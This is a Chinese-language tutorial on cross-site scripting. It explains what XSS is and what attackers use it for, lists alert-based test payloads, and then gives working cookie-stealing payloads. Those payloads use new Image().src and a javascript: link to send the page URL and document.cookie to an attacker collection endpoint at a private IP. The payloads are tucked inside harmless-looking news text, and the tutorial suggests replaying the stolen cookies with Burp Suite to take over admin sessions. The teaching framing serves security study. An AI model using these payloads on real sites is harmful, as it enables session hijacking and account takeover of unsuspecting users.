XSS攻击(1), 测试XSS漏洞, 获取cookie

XSS漏洞, 测试XSS漏洞, 获取cookie

一, 概念:

XSS(Cross-Site Scripting), 跨站攻击脚本, XSS漏洞发生在前端, 依赖于浏览器的解析引擎, 让前端执行攻击代码. XSS其实也算注入类的攻击, XSS代码注入需要有JavaScript编程基础.

二, 目的:

XSS(跨站脚本)攻击的目的多种多样,攻击者可以利用这种漏洞实施各种恶意行为。以下是一些常见的XSS攻击目的:

  1. 窃取Cookie:许多攻击者使用XSS来窃取用户的cookies,尤其是session cookies。一旦攻击者获得了这些cookies,他们可能能够伪造用户身份,接管用户的会话,访问账户或执行未授权的操作。

  2. 账户劫持:与上一点相关,一旦窃取了用户的认证信息,攻击者可以接管用户账户。这可能涉及改变账户设置、进行欺诈性交易或获取敏感信息。

  3. 传播恶意软件:攻击者可以使用XSS漏洞在用户的浏览器中执行脚本,导致受害者下载和安装恶意软件或勒索软件。

  4. 钓鱼攻击:通过XSS,攻击者可以修改网页内容,创建伪造的登录窗口或其他交互式元素,诱使用户提供敏感信息,如用户名、密码或信用卡详情。

  5. 网站内容篡改:攻击者可以修改受害者看到的网站内容,包括插入虚假信息、广告或其他恶意内容。

  6. 网络钓鱼和点击劫持:攻击者可以使用XSS注入脚本,强制用户在背景中执行不可见的操作,如点击广告或链接,从而为攻击者带来经济利益。

  7. 利用用户的身份执行操作:如果受害者具有某些特权,例如网站管理员,攻击者可能会利用XSS漏洞,使用受害者的权限对网站进行未授权的修改。

  8. 收集敏感信息:除了cookies外,攻击者还可以利用XSS窃取存储在浏览器中的其他数据,如localStorage中的数据或Web应用中的敏感信息。

  9. DDoS攻击:通过XSS,攻击者可以迫使受害者的浏览器成为分布式拒绝服务(DDoS)攻击的一部分,对目标网站进行攻击。

  10. 绕过访问控制:在某些情况下,攻击者可能使用XSS来绕过前端的安全检查或限制。

三, 测试XSS漏洞

原理:

XSS的原理就是开发者没有对输入内容进行过滤, 导致通过攻击者精心构造的前端代码, 输入后和原来的前端代码产生混淆, 形成新的页面语句, 并且新的页面代码能够被浏览器解析并输出.

步骤:
    1. 页面既有输入的地方, 也有输出的地方, 比如留言板, 论坛发帖等等.
    1. 在文本输入的地方使用<JavaScript>, <img>, <button>等标签嵌入代码并提交, 例如:
html 复制代码
2023年前三季度我国货物贸易进出口总值30.8万亿元,同比微降0.2%;其中,9月当月,进出口3.74万亿元,
规模创年内单月新高。
<button onclick=alert(document.cookie)>显示cookie</button>
国新办当天举行的新闻发布会上表示,面对复杂严峻的外部环境和国内多重困难挑战,
我国货物贸易进出口平稳运行、积极向好。
    1. 查看提交后显示帖子的页面, 如果alert能够弹出消息, 说明存在XSS漏洞.
能够运行js的一些位置:
py 复制代码
url: http://192.168.112.200/security/testxss.php?content=1
1. <script></script> 标签
html 复制代码
content=<script>alert(1)</script>
content=<script>alert('hello word')</script>
content=<script>alert(/hello word/)</script>

注意:

在url提交参数时, 加号 '+' 会被表示为空格.

如果想使用加号本身, 需要url编码, 加号的url编码是 '%2B' 或 '%2b' .

js 复制代码
<script>var res=0;for (var i=0;i<=100;i%2B%2B){res%2B=i;} alert(res);</script>
2. onclick, onerror, onload, onfocus, onblur, onchange, onmouseover 等事件
html 复制代码
content=<button onclick=alert(1)>快来点我</button>
content=<img src="https://www.baidu.com/result.png" onclick="alert(1)">
content=<img src="https://www.baidu.com/result.png" onmouseover="alert(1)">
content=<script>function test(){alert("hello world");}</script><button onclick=test()>点我测试</button>

网页源码:

html 复制代码
<input name=keyword value="">

上面代码是一个输入框, 在输入框的位置输入payload, 用双引号对value做闭合, 后面写事件与需要执行的js代码.

payload:

py 复制代码
" οnclick="alert(1)

提交后的网页源码:

html 复制代码
<input name=keyword value="" onclick="alert(1)">
3. 超链接的 href 属性, 或类似属性.
html 复制代码
content=<a href="javascript:alert(1)">快来点我</a>

将当前用户访问的url和cookie发送到攻击者的远程服务器接口.

后续通过burpsuit等工具篡改cookie即可伪装用户越权访问, 尤其是管理员账户.

案例:
  1. 利用js代码动态生成一个图片对象, 通过src属性将url和cookie发送到攻击者准备好的远程服务器上.
    当用户访问页面时, 会自动发送这个GET请求.

%2b表示+, 用于拼接字符串

%26表示&, 用于表示get参数之间的间隔符

py 复制代码
接口: http://192.168.112.200/security/getxssinfo.php
方法: GET
参数: url, cookie

payload:

html 复制代码
这周,一家人工智能初创公司的募资额快追上这个数。
<script>
    new Image().src = "http://192.168.112.200/security/getxssinfo.php?
    url="%2blocation.href%2b"%26cookie="%2b document.cookie;
</script>
为了确保自己在最前沿的模型上做人工智能研究,这样才能做出媲美 GPT-4 的大模型。
  1. 如果目标服务器不能执行 <script> 标签, 也可以通过 <a> 标签与 <img> 标签来实现.
    当用户点击图片链接后, 发送url与cookie给攻击者的远程服务器接口.

payload:

html 复制代码
这周,一家人工智能初创公司的募资额快追上这个数。
<a href=\'javascript:location.href="http://192.168.112.200/security/getxssinfo.php?
url="%2blocation.href%2b"%26cookie="%2b document.cookie\'>
    <img src="https://mbdp01.bdstatic.com/static/landing-pc/img/logo_top.79fdb8c2.png"/>
</a>
为了确保自己在最前沿的模型上做人工智能研究,这样才能做出媲美 GPT-4 的大模型。
相关推荐
bug丸几秒前
v8引擎垃圾回收
前端·javascript·垃圾回收
安全小王子2 分钟前
攻防世界web第三题file_include
前端
&活在当下&3 分钟前
ref 和 reactive 的用法和区别
前端·javascript·vue.js
百事老饼干6 分钟前
VUE前端实现防抖节流 Lodash
前端
web Rookie10 分钟前
React 高阶组件(HOC)
前端·javascript·react.js
云白冰24 分钟前
hiprint结合vue2项目实现静默打印详细使用步骤
前端·javascript·vue.js
葡萄架子32 分钟前
Python中的logger作用(from loguru import logger)
java·前端·python
Hi_MrXiao40 分钟前
前端实现图片压缩插件(image-compressorionjs)
前端
阿智@111 小时前
Node.js 助力前端开发:自动化操作实战
运维·前端·node.js·自动化
m0_748251721 小时前
前端入门之VUE--ajax、vuex、router,最后的前端总结
前端·vue.js·ajax